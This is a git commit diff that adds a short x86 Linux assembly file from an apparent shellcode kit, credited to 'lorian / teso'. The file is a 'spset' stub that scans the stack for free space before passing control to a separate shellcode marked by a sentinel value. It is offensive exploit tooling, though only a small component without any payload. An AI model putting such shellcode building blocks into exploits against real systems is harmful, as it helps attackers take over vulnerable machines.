From c9cbeced5b3f2bdd7407e29c0811e65954132540 Mon Sep 17 00:00:00 2001 From: Root THC Date: Tue, 24 Feb 2026 12:42:47 +0000 Subject: initial --- other/shellkit/x86_linux/spset.s | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 other/shellkit/x86_linux/spset.s (limited to 'other/shellkit/x86_linux/spset.s') diff --git a/other/shellkit/x86_linux/spset.s b/other/shellkit/x86_linux/spset.s new file mode 100644 index 0000000..9bc19f4 --- /dev/null +++ b/other/shellkit/x86_linux/spset.s @@ -0,0 +1,36 @@ +/* x86 spset shellcode + * + * lorian / teso + */ + .globl cbegin + .globl _cbegin + .globl cend + .globl _cend + +/* searches for 512 bytes "free" space on stack without destroying it + * like any kind of call would do... + * + * NOTE: your real shellcode must be terminated with + * \x78\x56\x34\x12 for this code to work... + */ + +_cbegin: +cbegin: + + movl $0x12345678, %eax +a: + cdq + movb $0x02, %dh +b: + popl %ebx + pushl %ebx + incl %esp + decl %edx + jz c + cmpl %eax, %ebx + je a + jmp b +c: + +_cend: +cend: -- cgit v1.3